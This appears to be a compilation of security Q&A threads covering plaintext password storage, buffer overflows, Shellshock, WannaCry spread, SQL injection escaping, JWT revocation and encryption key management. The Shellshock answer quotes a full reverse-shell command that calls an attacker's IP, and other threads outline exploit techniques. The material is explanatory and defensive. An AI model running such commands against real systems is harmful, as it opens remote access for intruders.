Whether this will work well with existing MUA software is another question, which can only be answered through tests.


Website returning plaintext password I have recently logged into a website. When I clicked on the "Update Profile" page, you are displayed with a list of text boxes for all the user fields, e.g. name, email, phone number etc.

There is also a box for password and confirm password (for if you wish to update these values), however, when you go into this page, those boxes are already populated, which made me think, why are they putting placeholders in?

When going into inspect element, they actually have the values of your password, transformed into upper case like this:

<input type="password" name="txtPassword2" size="45" value="MYPASSAPPEARSHERE">

I have also recently noticed that the case of your password or username is irrelevant when logging in - e.g. I can put it in all caps, all lower, or a mixture of both and it will still accept the password.

Is this a security hole and does this indicate they are storing passwords as plain text?

This is not a duplicate of (What to do about websites that store plain text passwords) as I’m asking here for clarification of whether this indicates the site is storing plaintext passwords, rather than what to do about it.

Response from the company: After pushing hard, the company confessed that they are in fact, storing passwords in plain text.

Quite obviously, if they can display your password, then they are storing your password somehow. They might cache your password on the client-side when you log in (for unjustifiable reasons, like session management), but more likely their password database is in clear text. Either way, it's stored and it should not be.

And it looks like they are running a upper() function on the password, which wipes out 26 characters from the potential character set that would have otherwise added some entropy.

This is very, very poor security on their part that has had no place for 2 decades.


How can buffer overflows be harmful in Android? How can buffer overflows be potentially dangerous in Android?

Specifically, if each app has its own user id and it being run in Dalvik VM copy that has the same id. I thought that even if the overflow happens, shellcode written to app's mem page will only have the same privileges as the app itself?

Let's take Stagefright for example, the media library written in C++

How overflows bypass assigned privileges is simple; C code can directly write to memory. It's your job as developer to make sure what you put in fits, otherwise it will happily write over other instructions of the same privilege. Stagefright has a lot of privileges. And the information that flows out of the buffer could be a random cat video from the internet(which then -gains- the privileges of the media library)

So it would be naive to assume overflows are not harmful. Stagefright contained buffer overflows and this is extremely dangerous.
Android developers have made exploitation harder by implementing (among other measures) address space layout randomization (ASLR), this makes the offsets to use unpredictable, causing a fault rather than code execution. But by combining this with browser vulnerabilities, information can be leaked about the current location of the memory pages so code execution is still possible.

I would recommend reading up on Metaphor, a Stagefright implementation including ASLR bypass, the paper and PoC code are available online


If / is rendered by a cgi script, that script would be called with the User-Agent in an environment variable called HTTP_USER_AGENT.

bash would look at all environment variables starting with () { to find function definitions and execute the function definition. In your example the function definition would then be: HTTP_USER_AGENT() { :;}

Due to the bug bash would continue processing with ; being the command separator, and /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1' being another command, which did not just define a harmless function, but rather opened up your system to the attacker.

>& opens a file. /dev/tcp/ is special in that whenever bash would try to open a file with a name starting with that string, it actually opens a TCP socket instead. This is a feature of bash itself. It will not work if would be opened by another command, so for example would cat /dev/tcp/... not work.

0>&1 uses the socket previously opened for output for input as well.

bash -i starts an interactive bash shell with stdio connected to a TCP socket. Presumably 195.225.34.101 is the IP address of a host controlled by the attacker. Quite likely that is a server which the attacker compromised using the same vulnerability.

Using different IPs is probably just because the attacker want to be prepared in case some of the hosts he controls get taken down.


Buffer overflow stack adjustment I am quite new to buffer overflows and I am practicing right now different types of buffer overflow attacks.  the shellcode was not executed until it was padded with NOPs although its set properly in memory and execution flow works as needed.

After investigation, I saw some people who wrote the following:

"find the opcode for add esp,-1500
put those bytes at the start of the shellcode
remove the nops"

I would appreciate if anybody could help explaining this !

Thanks in advance

NOPs tend to get flagged by anti-virus, so an alternate method can be used to 'slide' the execution to the shell code. The way you were told was to add 1500 bytes to the ESP, which (I'm assuming) should replace 1500 NOPs, landing you at your shellcode.

If you have not already seen this, you NEED to be reading corelan.be for awesome BO writing tutorials. Here is one that explains the add esp


PIV/CAC for FedRAMP Manatory requirements My company is applying for a P-ATO for FedRAMP certification. There's a mandatory requirement I'm not understanding well.

"Can the system fully support user authentication via Agency Common Access Card (CAC) or Personal Identity Verification (PIV) credentials?"

We make software, and specifically mobile applications. Our application would never need a CAC or PIV for end users. Further, we have two factor auth setup for our login to our cloud platform (AWS) but I can't see how/why we'd use PIV or CACs.

Anyone run across this before and how to handle?  It's mandatory so assuming I have to deal with it in some way.
Thanks!

"Can the system fully support user authentication via Agency Common
  Access Card (CAC) or Personal Identity Verification (PIV)
  credentials?"

  We make software, and specifically mobile applications. Our
  application would never need a CAC or PIV for end users. Further, we
  have two factor auth setup for our login to our cloud platform (AWS)
  but I can't see how/why we'd use PIV or CACs.

The answer to the "why" question is: You will do it because it is mandated. ;)

As for the "how" question: If your "system" already supports some forms of two-factor authentication, you probably don't have too far to go to support PIV/CAC, in principle. In fact, any old desktop computer can use a PIV/CAC card reader, right? If I remember correctly you can also fit a mobile phone with a CAC card readers as well...


MITM on program with no proxy settings I'm trying to inspect the traffic of a program (which is running on my computer) that uses SSL over TCP to a non-standard port.  The traffic may or may not be HTTP traffic, likely isn't.  Neither Charles nor Fiddler2 are able to detect the connection.  How can I view the unencrypted traffic?  Solution needs to work on windows 7.

Wireshark should be able to do it. However, the process is not as straightforward as you would have to scan the memory for the master secret.

Here is a tutorial on how to decrypt SSL without access to the master private key.

Identify the master secret and corresponding session key. This can be found in the "Server Hello" portion of the SSL handshake.
Configure Wireshark to use the master secret. Save the master key to a text file and configure wireshark to use the master secret file.
Decrypt the encrypted malware SSL session. Open the pcap file, right click on the session and select "Follow SSL Stream".


Can/do botnets brute force "high value" users of services like Gmail? On an intranet a login is generally disabled after a very small number of failed logins.

But a public email service like Gmail can't do the same, otherwise pranksters would just be continuously locking people out.

Unlike brute forcing a password file that you have locally, hitting a specific account on a remote service like Gmail involves significant network latency - thus severly limiting the speed of a brute force approach.

And the service can introduce artificial delays, e.g. wait a few seconds no matter what before rejecting or accepting a login.

And it can increase the delay per IP address from which a failed login attempt has occurred.

But you can only go so far with delays before they themselves facilitate DoS attacks - if the valid user comes through a proxy, anyone else coming through the same proxy can up the login delay for that user with failed login attempts. So the delay can only be increased so far.

But even a 5 second delay, which would only mildly annoy a human, would thwart brute forcing from a single machine.

But what about a botnet? The largest have several hundred thousand machines.

If all make just a few attempts this means the victim's password just has to be in e.g. the commonest 10 thousand.

I've seen old analysis from 2011 that suggests 30% of user passwords fall into the commonest 10 thousand.

So you've got a 1 in 3 chance of cracking the given account.

But maybe:

Botnet time is too valuable to be used even for a short time to crack an individual account.
The rise of two factor authentication and password management systems make high value targets harder to hit.
Services like Gmail may actively look out for users who are subject to frequent hacking attempts, e.g. celebrities, and ensure they use two factor authentication.
High value users who are likely victims of such a coordinated attack have probably already been hacked once and have learnt their lesson - so the success chances of a botnet attack are too low to warrant it.
Enforcement of rules on password complexity have changed the percentages I've quoted.

Sorry if you feel this is a repeat of existing questions. @woliveirajr suggests in this answer that you should introduce a CAPTCHA after a few failed attempts.

If you don't do this on a per IP address then some users (celebrities etc.) must be filling in CAPTCHAs all the time! If you do it on a per IP address then you still get a lot of tries (see above) which cover a significant percentage of the commonest passwords.

Does Gmail or anyone else do this, i.e. require CAPTCHA's after several failed login attempts?

A number of answers on this popular question mention locking people out after a number of failed attempts, but as noted above I think you can only really do this on say a company intranet - not on something like Gmail where it would immediately be used for DoS.

Gmail requires CAPTCHA solving when it detects suspicious behavior for an account, even if the requests originate from several IPs.

There is always a balance to be set between user experience and user security. If a celebrity uses Gmail, she'd rather enter a CAPTCHA each time than having her emails publicly disclosed. Moreover, even if not yet "default on", 2 Factor Authentication should be used for any sensitive accounts, because it greatly decreases the risk of the account being compromised.

In my opinion, delays of any kind should not be used for web application, because they only add to user frustration and also help in building DoS attacks.


Does Wannacry spread outside its private subnet to adjacent private subnets? Does a Wannacry-infected computer on an internal network with a private IP address attempt to spread to other privately-addressed subnets?

I have not found a definitive answer online.

Cisco says:

  The first thread checks the IP address of the infected machine and
  attempts to connect to TCP445 (SMB) of each host/IP address in the
  same subnet and second thread generates random IP address on the
  Internet to perform the same action.

Which implies that Wannacry only spreads within a subnet (public or private addresses) and to public IP addresses, so adjacent private subnets are safe.

Microsoft says:

  The threat avoids infecting the IPv4 address if the randomly generated
  value for first octet is 127 or if the value is equal to or greater
  than 224, in order to skip local loopback interfaces.

This implies that Wannacry only discards loopback and multicast / reserved addresses. This would mean that a private IP address could be randomly generated and Wannacry could hop to another private subnet.

Answer to your question is yes, it can span across the network (could be private network/public network) depend on the way the code has worm has been programmed.

The wannacry worm can simply identify the routes which are available on the infected host. For example 'route print' will show all the active routes connected to the infected machine. Once this routes are available the worm can spread or started infecting other vulnerable machines on these networks.

A sample output of 'route print' - please note the active routes:

Note: This happened to us and few of our branch networks on separate private IP range got affected.


device not recognized in network On my windows 8 Computer I sometimes can see a device in the network view , which I can't identify as one of mine. See following screenshot:

For me this looks like a network breach. How can I analyse this issue or prevent devices to access my private network ?
Or does someone recognize this device as a service ?

It could be a rogue device but not necessarily.

Or the PC is seeing a device and it’s associated service incorrectly.

You could start by checking your routers DHCP to see what devices it has issued IPs to.

If you still can’t see it then download a network scanner app. I use ‘fing’ onthe IPhone. But there are others for iOS and other OS. Make sure your phone is on the same network as your PC and then scan. These apps will attempt to find all devices and services (attempt to).


Is it OK to tell your password to an admin? Possible Duplicate:
  From a security point : Is it OK to tell your password to an admin?

I am working in a small company (20 employees) as a senior SW engineer.

After having some email problems, our newly employed IT administrator asked me for a password to see with hosting company why exactly. Without any thought I gave him my password.

After maybe 30 minutes, I realized that in my 10 years of working in several companies nobody asked me for a password, and I found it rather strange. Immediately after I changed my password.

So, are there cases where the password is really needed, when I really have to tell my password to an IT administrator?

EDIT

The reason I am asking is this: I have heard of stories where admins asked for the user's password, but only on sites like The Daily WTF.

  Please note that the answers on this question were not given from a security point of view, and as such should not considered secure.

I have working with many companies, and the technical answer is that no one should know your password.

In practice, you really have to weigh that against any real threats, and why you are giving it to him. Also, if your password is used for many things (you should not do this either), like your banking, then really NO.

If you really ever have doubts, you can do one of two things: You can temporarily change it, so giving it to him is not an issue, or you can type it in for him. I often ask people to type their passwords in for me.

That said, an administrator can change the password when they need to, but the only problem is that they have to get the user to change it again.


Smartphone 2FA has been broken? This research states that two factor authentication has been broken by the possibility to remotely install an app on a device. I believe that an attacker can publish an app in the store that is dedicated to intercept your 2FA SMS (for example) and force the installation on your device simply by hacking your account password.

I'm also conscious that some vendors use a mitigation approach like sending you an e-mail to advise you of a new access to your account, but the attacker can still lock you out for a limited time.

So the question, is this a real threat to two factor authentication security based on smartphone (not dedicated device) or is a reasonable risk that we can afford?

Relying on mobile as a second factor is somewhat haphazard anyway - there are increasing numbers of people relying on mobiles as primary internet access devices (especially in countries with limited wired infrastructure), so an app on a phone, an SMS, or an email can end up on the same device the attacker is using. This already causes problems - try making a payment with Paypal's mobile app if you have 2FA enabled, and it won't let you, since it attempts to protect against this kind of attack. They don't seem to have a good solution to it though.

There are obvious mitigation strategies to the attack in the paper referenced: phones could restrict installation from browsers (e.g. require a code displayed on the browser to be entered on the phone by hand, or disable the function by default, in a similar way to Bluetooth pairing methods, so the phone user needs to be actively looking for installation attempts for them to work), the app stores could be more proactive in detecting SMS reading functions, or the 2FA receiving pages could prompt for extra verification details (e.g. require the site password to be entered, which would add obstacles to session stealing attacks, or prompt for specific characters of the sent code, making human interaction easier than automated entry).

For most accounts, though, it's probably a low risk. If you use a strong password for your app store account, it should be hard for an attacker to trigger such a background load, and you should always pay attention to new applications being installed on your device. There are always applications that slip through any monitoring system, so the problem would appear to be the blind trust placed by the phone in the app store automated install process - a case of usability with a security downside.


Wrong password - number of retries - what's a good number to allow? Most sites & software seem to have a default of auto lock or time lock after 3 wrong tries.

I feel that the number could be much higher - not allowing retries is mainly to prevent automated brute force attacks, I think. The likelihood of a brute force attack getting the password right in 4 retries is almost the same as getting it in 3 retries - i.e. very very small. I think this can be kept much higher without compromising security.

I know there are other strategies like increasing time to retry after each retry - but I am asking about a simple strategy like locking after "n" attempts - what's a good maximum "n"?

Unless you have separate means of restricting access to the login form itself, a good baseline is don't have a hard limit. That's because it's way too easy for someone to be completely locked out of their account.

This is bad because of the denial of service, obviously, but it's also a security concern in itself. It will increase support requests from people asking for their accounts to be unlocked, and the people doing the unlocking will become habituated, and social engineering attacks starting with "hey, my account is locked" become that much easier.

Instead, extend timeouts — but not infinitely; just enough to restrict the number of guesses to a reasonable amount over time given your password complexity requirements.


Strange IP's on my firewall log Check the screenshot of my router firewall log below, I can see traffic originating from strange IP addresses to my public address.

What are these?

I've just setup this router few hours ago, am I being hacked or part of DoS attack?

These are probably the attempts of some P2P software, like Bittorrent, Skype ...
See also Why are packets constantly being sent to international ISPs?


What's the advantage in allowing 3rd party cookies? I understand why people want to block 3rd party cookies - I would like to know though what would I be missing out from blocking them?

Why do browsers like Chrome have them on by default? Is it simply so Google can track us? Or would it affect our user experience by having them turned off?

You would be missing out on anything that uses cross-domain requests where authentication is necessary.

For example,

Facebook likes and comments.
Twitter widgets.
Websites that work across multiple domains using AJAX.

This is why they are on by default - as to not restrict functionality. HTML5 Cross Origin Resource Sharing would not work with credentialed requests with 3rd party cookies disabled.


Where does /dev/random get its entropy? I read over and over about how /dev/random gets its entropy from "hardware events." What exactly are these hardware events and how can we be sure that it is random enough?

As @Rook says, a good starting point is the kernel source code itself, precisely the drivers/char/random.c file. It begins with a long description (as comments), including this passage:

  Sources of randomness from the environment include inter-keyboard
  timings, inter-interrupt timings from some interrupts, and other
  events which are both (a) non-deterministic and (b) hard for an
  outside observer to measure.

The principal workhorse for the entropy gatherer is the add_interrupt_randomness() function, that is meant to be invoked for each (or at least most) interrupts. An interrupt is the main method by which a piece of hardware makes it known to the CPU that it has changed state, e.g. that some new data is available, or, similarly, that the hardware is ready to process new data from the CPU. E.g. you will get an interrupt every time you press or release a key, or move the mouse, or receive a network packet. You will also get interrupts from the timer, and from a lot of other sources. "Entropy" is obtained mostly by measuring the exact time at which the interrupt is received: modern CPU have a cycle counter that can be used to get a notion of time down to the nanosecond precision (precision, not accuracy, but that's good enough here). The type of interrupts are also included in the mix, but most of the entropy comes from these cycle counts.

Remember that "entropy" can be defined as "that which the attacker does not know". Through external measures and simulation, the attacker can get some notions of what occurs and when in the kernel, but within some limits. For instance, the attacker may measure the time of arrival of a network packet down to the microsecond; he will still miss 10 bits of entropy if the kernel measures that time down to the nanosecond.

Apart from interrupts, other kernel parts (e.g. device drivers) can push extra data into the pool by calling add_input_randomness(), in case such drivers have access to data that is considered "random" in some way (precisely, in a way that attackers cannot guess).

From userland, you can also push data manually by writing into /dev/random. One good source would be pictures from a webcam: that's a lot of data with a lot of thermal noise. Linux distributions use this "external entropy push" possibility to maintain entropy across reboots: when the machine boots, it injects a "seed file" that it then immediately recreates from /dev/urandom. Therefore, one big source of entropy for /dev/random is entropy obtained from previous incarnations of /dev/random (before the last boot).


Compromised JSON Web Token (JWT) Bearer Token We are implementing a REST service that requires authentication and authorization. Because of the stateless nature of REST API's, we want to use JWT to make authenticated calls to the API through a token, without the need to hit a database for each API call.

After evaluating the JWT we had some questions:

How do you handle a situation with a compromised token secret which is shared between a client and the server?
Do you logout all your clients and define a new token secret for future requests? (that would be a bad experience)
Is there a way to just logout the compromised client?

Background detail:
We will use that flow between an iOS app and a Node.js backend.

To answer your questions:

  1) How do you handle a situation with a compromised token secret which is shared between a client and the server?

Add an expiry date to your token. Make sure the token cannot be used after the expiry time. But this doesn't prevent unauthorized access within the token's expiry period.

So, to overcome this problem you can embed the client's IP address or other such information inside the token. And make sure the incoming request with the token is used from the same IP Address to which it was issued to.

  2) Do you logout all your clients and define a new token secret for future requests? (that would be a bad experience)

If you mean logout all clients who are using multiple tokens in a authorized manner, then No. You can continue to use multiple tokens at the same time, provided you have a finite expiry period to the tokens. This make sure your token are used within the intended time window.

But, if you mean when the token is stolen and you somehow figured it out. Its better to invalidate all tokens to that user.

However, you may want to have a mechanism that will revoke all tokens explicitly in special cases. May be like when the user resets his password because he thinks his password may be compromised.

  3) Is there a way to just logout the compromised client?

May be, depends on your ability to precisely identify which token has been compromised. Which may lead to all clients using that token to lose access. But, I wouldn't recommend it. But, hey you can always write code that will dynamically re-authenticate and get a new access token when old client can no longer use the token. :-)

Don't be afraid to invalidate a token when necessary. If you loose a token write a dynamic script to re-authenticate. If you think you may loose the session details when you use new token, resend the expired token to server while re-authenticating. Using this expired token you can reconstruct a new token with the old token's session details. Provided you have embedded session details in the expired token.


Any threats/SQL injections possible, when single-quote is being escaped? Let's say, when server-side application (like WordPress) applies add_magic_quotes to all GET/POST parameters ( $_GET = add_magic_quotes($_GET); ), so calling the url:

example.com/?id=a'b

the app now has safe variables, and executing the SQL query seems no longer harmful:

$id = $_GET['id']; //----> a\'b
$mysql->query("Select .....   where id='$id'");

Is there any case, when it may still be a security threat? Any examples, please? How that SQL query can be unsecure, as it have escaped  \' character inside $id?

There are a couple of (possible) issues:

Everything that doesn't come from GET/POST is still a danger (possible sources may be files, emails, databases, etc).
SQL queries where you need to remove the quote or don't need a quote in the first place (eg in LIMIT, for id values (eg SELECT from x WHERE id = $_GET['x'])) or further transform the input (eg in IN).
Encoding issues (see eg addslashes bypass via multibyte characters).
Improper escaping (eg not escaping \ as well).
Removal of quotes in other places in the code (adding quotes on input mangles your data; in some places, you might require clean data, which you might then pass on and further process; somewhere down the line this might end up in a query).

As you mention WordPress: That there are WordPress plugins which have SQL injection vulnerabilities should demonstrate that adding magic quotes is not good enough in all situations.

Escaping as defense against SQL injection is just a mess (security as well as usability wise). If you are building a new app, just use prepared statements (they are the standard for a reason). If you have a legacy app, carefully using escaping can be good enough though.


Computer, mobile or target site infected? Something strange just happened to me, and I'm having issues telling where the fault is.

I'm currently travelling by train, and using my mobile phone as a personal hot-spot (WiFi is WPA2 secured).

I'm doing work-related things with some googling for MSDN articles and / or StackOverflow answers.

I decided to order lunch for when I arrive, and since I didn't remember if the site of a certain salad chain has its URL ending with .com or .pl, I googled it. Clicking on the link, I was redirected to something which looks like one of those reward scams.

Here's the link history as it is displayed in Firefox:
http://reward2650.cxzmoney5.info/default.aspx?u=bl3pte4&o=xbkkvzb&t=main&f=1
http://appstoresmobiles.com/away.php
http://best.prizedeal2.info/?utm_medium=ccb1966b9d7c2c6b97aced65bb3ff188a3ca62cc&utm_campaign=mainstream&cid=10f1ee16-ff68-49a5-983e-bb515c317d98

I'm a bit unsure about the order of these links, as one seemed to redirect to the other very fast.

Given that one of the links is "appstoresmobiles.com", I wonder if this isn't because my mobile phone is infected and / or was somehow compromised mid-request.

Attempting to do this again (i.e. googling the salad chain, clicking on the link) yielded the expected salad chain page.

Or (which seems least likely) the salad chain has had their page altered and redirects some requests?

Any idea what could this be?

This looks more like your first Google link was actually an AdSense campaign, and the campaign itself had been subverted ("malvertising").

While Google strives to keep its campaigns free of evil :-), the market is so alluring that lowlife advertisers and outright criminals strive even harder to get their wares through, and squeeze the most out of the few hours' survival their campaign is all it's likely to get.

It has already happened (here too), several times.


Security of rails user access/permissions plugins I was wondering if anyone knows what the most secure user access plugin for Rails is, and if any of them prevent session fixation?

From the Ruby on Rails security Guide as long as you're using the reset_session command during the authentication process, you should be mitigating against session fixation attacks.  In general with a rails app. if you're only creating the session when the user logs in and you're issuing a new Session ID at that point, you shouldn't have too many problems with session fixation.


What can protect a C file from buffer overflows? Looking around trying to answer my question i found those compilation parameters:

PIE
RelRO
NX
Heap exec
Sf (source fortification)
SSP
ASLR (not a compilation parameter, i know)

From what I understand, none of these protection are responsible for the issue which I'm facing.
I'm attempting to do a buffer overflow on a binary with at least the ASLR activated. Using gdb-peda  and I managed to find the offset at which i overwrite the saved value of the IP register. This offset is 170. Using a cyclic pattern (pattern_create 174 within gdb-peda) containing 174 characters and ending with 'AtAA' i manage to get IP to contain EIP: 0x41417441 ('AtAA') after the ret instruction.

At that point I was like : "Yeah that looks good". I then (not knowing at that time that ASLR was up) built my payload and it weighed also 174 bytes.

When running this binary with this payload, i can't manage to alter neither the value of EIP nor the one of EBP. While it worked perflecty fine with the cyclic pattern with the exact same length. Meaning that i can cause the program to segfault because the instruction at 0x41417441 is not a proper instruction.

So I assume that there is some kind of protection which understand that there is some shellcode in the stack and that it protects the ip register ? Even tho it doesn"t at any point raise an exception.

Thanks !

Try to attempt an overflow with your payload under GDB and debug it. I bet the problem is that your payload contains characters considered special by the input function in the binary, such as \0 or \n. Input function simply stops writing to the buffer after encountering them.


Using same algorithm for signing and encrypting a message If we use the same algorithm to encrypt and sign a message, what can happen if the message is intercepted and read by a third party?

Although the names of the algorithms are the same, they are actually a little different when used for signing vs when used for encryption. The only thing similarity the two algorithms have is that they both use the same trapdoor permutation, conveniently called RSA. The difference is both in where certain variables come from, and the use of padding, which turns the insecure function into a cryptographically secure and useful algorithm. Encryption often uses RSA-OAEP, whereas signing uses RSA-PSS.

So even if you are using RSA/RSA for encryption and signing, an attacker who intercepts the message will be able to neither decrypt it nor forge valid ciphertext without first obtaining the relevant private key.


Apple's Keychain - good security? This management system runs under a user's password.  Should you let this software manage your Disk Utility encrypted folder passwords and the like (e.g. GnuPG!)?  My thoughts are, "No."  Why should there be a software on my operating system that deals with my security? The way I do things is keep a spreadsheet in an encrypted file with all my passwords and never tick 'yes' to 'Remember this password?" prompts.  Why should OS X compromise me in this way?  What is the perspective of a true information security practitioner who knows better than Macintosh?

I've been searching for an answer for a few weeks online but the debates I've come across all attack the unhappy users, without explaining security of Apple's KeyChain Access without partiality.  Here is the type of complaint I am referring to.

As I understand it, the Keychain is secure. It does employ good Elliptic Curve encryption and handles your data properly. With the caveat that you have to trust Apple. They are handling your data and the encryption, and in some cases transmitting the encrypted data to their servers for cross device syncing etc.

If you want a solution that does not rely on any third party to store or transmit your secure data then you could use a self-managed file like excel, but then you have to be responsible for its encryption, decryption, storage and transmission. There are also a number of offline password managers such as Keepass, which might be easier to manage without needing to trust a third party.


website legitimate or not, how to evaluate? how to know which website is secure to open ? i.e.

https://cdn.redhat.com/

why am I getting a security notification even when the site relates to Redhat ?

Thanks

why am I getting a security notification even when the site relates to Redhat ?

Because it uses a certificate that is not trusted by your browser (or OS).

This appears to be an CA used by Red Hat, for instance for https://subscription.rhn.redhat.com/ as well. The common thing for these sites are that they are mainly useful if you're running Red Hat. I suspect that they include this CA in RHEL, allowing verification of the certificates by the sites.

Furthermore, those sites do request a client certificate for authentication:

$ openssl s_client -port 443 -host cdn.redhat.com
[...]
---
Acceptable client certificate CA names
/C=US/ST=North Carolina/O=Red Hat, Inc./OU=Red Hat Network/CN=Red Hat Entitlement Operations Authority/emailAddress=ca-support@redhat.com
/C=US/ST=North Carolina/L=Raleigh/O=Red Hat, Inc./OU=Red Hat Network/CN=Entitlement Master CA/emailAddress=ca-support@redhat.com
/C=US/ST=North Carolina/O=Red Hat, Inc./OU=Red Hat Network/CN=Red Hat Candlepin Authority/emailAddress=ca-support@redhat.com
[...]

This indicates that their CA issues certificates that clients uses to authenticate against Red Hat's servers. This requires that they control the CA.

Getting the CA into the roots of browsers is probably not worth-while as clients will not have any business on these sites, unless they have a client certificate. If they have a client certificate, installing the root certificate as well is trivial, if it's not included in RHEL by default.

Edit: This is likely wrong
This would somewhat improve security from Red Hat's point of view: they don't have to rely on external parties for securing their own infrastructure. They can peg the update clients to that single CA, which they fully control. If this is done, it would stop any other CA to act as MiTM.

When it comes to evaluating security, the steps I did to check was the following:

Verify that it's really redhat.com, and not some similar name with e.g. Cyrillic characters.
Check certificates OU and Common Name. I googled these two, which gave me this article from RedHat, which indeed verifies that they use these OU's and CN's.


What are the security risks associated with storing passwords on the internet? With products such as LastPass that store encrypted passwords on remote servers, what are the associated risks that aren't applicable to locally stored and encrypted passwords? If something is encrypted well enough, it's unlikely anyone would be able to break the encryption no matter how much processing power they have so I don't see any problems. Basically I'm asking why (even on this site) there is so much negativity and mistrust towards storing encrypted passwords over the internet?

If something is encrypted well enough, it's unlikely anyone would be able to break the encryption no matter how much processing power they have so I don't see any problems.

And that's a huge if! You have no control over how your data is encrypted with a service like LastPass. You can only trust that they have done so properly and that they do not have malicious intent.

Contrast this with an application like KeePass that stores your data locally. You control the application, you know how it's encrypted. You can take proper steps to secure the key file (if you are using one).

(Shameless advertising, I wrote a blog post about this about a year ago: http://www.infosecstudent.com/2013/02/switching-password-mangers-why-lastpass-just-isnt-working-out-anymore/)


Web Application encryption key management In a nutshell, let's consider a web application which stores some information in a database as encrypted data. While I'm purposely trying to keep this some what generic, here are some assumptions:

The encrypted data is only stored in the database (not elsewhere). Some fields in a given record are encrypted, some are not.
The web app must write the encrypted data to the database.
The web app must be able to read and display encrypted data. Data is only displayed in an authentication and authorized managed section of the app.
The data is sensitive information that needs to be protected in case the data is exposed/accessed (without the keys*).

Questions:

Where/how do you store the key(s) used for encryption? Firstly, in a system where the web and database servers are the same, how do you manage the key? Secondly, in systems where the web server and DB servers are separate, how do you manage the key?
Are keys just permission-restricted files? Stored in some separate tool/software? I've seen mention that sometimes the encryption keys are also encrypted, but not clear on where that may help.

I know this is a fairly basic security question and so if there are resources that perhaps I'm missing that would be also very, very helpful. I've spent a lot of time (over the years) trying to grasp this information based on information about web app security (OWASP, PCI DSS, etc.), but many times this information is very generic (e.g., "protect the data", "encrypt the data") or very specific ("to encrypt something with AES do this...").

* I understand that this is not a complete security solution in it's own right. I understand that there are several vectors to get at this information and to decode it. I acknowledge that this may be a poor question in that light :)

Edited to add more information about the assumptions to this question

While some good information has been provided in previous answer, there is a critical design flaw, which is not really noticed - but comes from some of the implicit assumptions in the question.

The difference should not be between:

Web app and DB on same server
Web app and DB on different servers
application vs. db encryption

The design should start from:

Who needs access to the encryption / decryption key(s)  ?

Or, actually even more correct:

Who is responsible for protecting the confidentiality of the data ?

Which, in turn, comes from:

What threats are you trying to protect against?
Or
Who are you trying to prevent from reading your data?

Only based on these questions, can you design a properly engineered cryptosystem. (And prevent the crypto-fairy dust that @D.W. referred to).

So, some example scenarios:

The user should be responsible for encryption, preventing even the app admins from seeing the data
The client application should be responsible, without having to involve the user - but this still needs to be done client-side (e.g. a backup program).
The appserver applicatively and specifically encrypts selected data, as part of the business logic (even the dba cannot see the data)
The database server should automatically and transparently encrypt stored data. (This protects only against theft of the db file / physical disk, with caveats...).

For simplicity, let's assume that encryption should be done server side, responsibility lies on the server, and the end-user (and administrator) has no influence on the encryption.

The main question, then, is the encryption performed by the application server, or the database server? (Actually not so simple, there are other options...)
This, as most security issues do, comes back to a tradeoff:

Will you manage your own keys, or do you prefer the infrastructure abstract this automatically? (the original question... more info below...)
Are you worried about malicious (or incompetent inexperienced) programmers?
Are you worried about malicious admins?
Are you worried about unauthorized application usage?
Are you worried about unauthorized SQL access?
Are you worried about unauthorized direct file access?
Are you worried about physical disk / server theft?

And so on.   (Note that some of the above questions are irrelevant, and cannot be solved by server encryption).

Now, let's assume you made your decision, based on the above, between appserver encryption and database encryption.
Note that whether the web server and the db are on the same server or not, has almost no effect here - if the app is encrypting, then it's just sending "special" data to the db, otherwise it's moot. However, this does affect the above threats discussion - some issues are obsoleted by the design, some are enhanced...

Web / Application server encryption

The encryption key (EK) you use to encrypt the data, should be itself encrypted by a key encrypting key (KEK).
The encrypted EK should be stored in a protected place - this can be a file, a registry key, whatever - the important thing is restricting access to it, to the appserver's user only (and, perhaps the admin - see below).
The KEK also needs protection - this is a bit trickier.
If you're on Windows, you have easy access to DPAPI - this provides OS-level key management, so you can have the OS encrypt your KEK and transparently manage the keys for you. (Behind the scenes, DPAPI eventually relies on knowing the user's password (in USER_MODE), so that is the final, weak point of an actual known secret - but noone else should know the server's password in the first place, right?)
Another option is external device / HSM, discussed further below.
The KEK also needs access control, of course - restrictive ACLs and all that.
There are several reasons you want to separate the EK from the KEK: you don't want to encrypt huge amounts of data with a single key; if you need to replace the key, it becomes a lot easier (just re-encrypt the EK with the new KEK); you can use stronger, slower, more complex encryption/storage on the KEK; if you need to be PCI compliant, you can implement split-knowledge on the KEK; and more.
Both the EK and the KEK should not be stored long-term unencrypted - depending on your platform/language, this means e.g. not storing it in a String object in .NET or Java. Instead, store it in mutable byte arrays, and always ensure you dispose of it as soon as possible.
Some frameworks even go a step further, and provide specific protected objects. E.g. in .NET you can use the System.Security.Cryptography.ProtectedMemory and/or System.Security.Cryptography.ProtectedData classes to keep the keys protected, even in memory.

Database encryption

If you have your database server perform the encryption, this becomes a lot easier: the tables / fields are configured to automatically encrypt any data stored in it, key management is completely transparent (from the PoV of the application, not the DBA), and so on.
For example, Oracle and MS SQL Server both support automatic built-in encryption. For MSSQL, the key management is complex, yet similar to what I described above. Simplified: There is an EK, stored in the database, that the dba can configure to use to encrypt/decrypt tables or fields. This is in a protected table, encrypted by a KEK, in turn encrypted by a server level KEK, in turn encrypted using DPAPI on the MSSQL's service account.
Alternatively, MSSQL also supports using asynchronous encryption, e.g. storing public/private key pairs - this can be useful in specific scenarios.

Third option: external encryption storage, or HSM (hardware security module). This can be a shared hardware appliance, server, or a hardware card or dongle... etc.

These devices are designed to very securely protect small bits of data - e.g., your KEK.
Again, another reason why to separate the EK from the KEK - this will enable you to efficiently encrypt and decrypt the masses of data with EK, while still securely managing the KEK.
The HSM is usually accessed via a special driver or API, it may be possible to plug these into the database encryption too (depending on product, etc).


Zero day vulnerability appropriate corrective action Is it appropriate for a software developer to provide zero day vulnerability corrections as at-user-discretion installers to apply patches or is it preferred to force it in cyclic updates?

The reason I ask is particularly in response to seeing this:
http://arstechnica.com/security/2012/09/critical-zero-day-bug-in-microsoft-internet-explorer/

In this case Microsoft chose to provide a fix-it solution rather than Windows updates.  Perhaps they plan to provide it as an update, but I didn't see that.

Often this is done because the fix used might have an impact on functionality. Remember they acted quickly so it might be that some functions are broken. If they would push it in their updates, it might result in a lot of users being unhappy because their webapplication is broken or doesn't work properly. So that's why they leave the choice at the moment.

I believe that once it has been tested properly, it will be pushed into the patch tuesday cycle.


Can clients execute my python CGI at will? I have a site where the main database is interacted with via python scripts located in public_html\cgi-bin\.  To run commands, various JavaScript scripts, located in \public_html\scripts\, use jQuery to call the different python scripts.

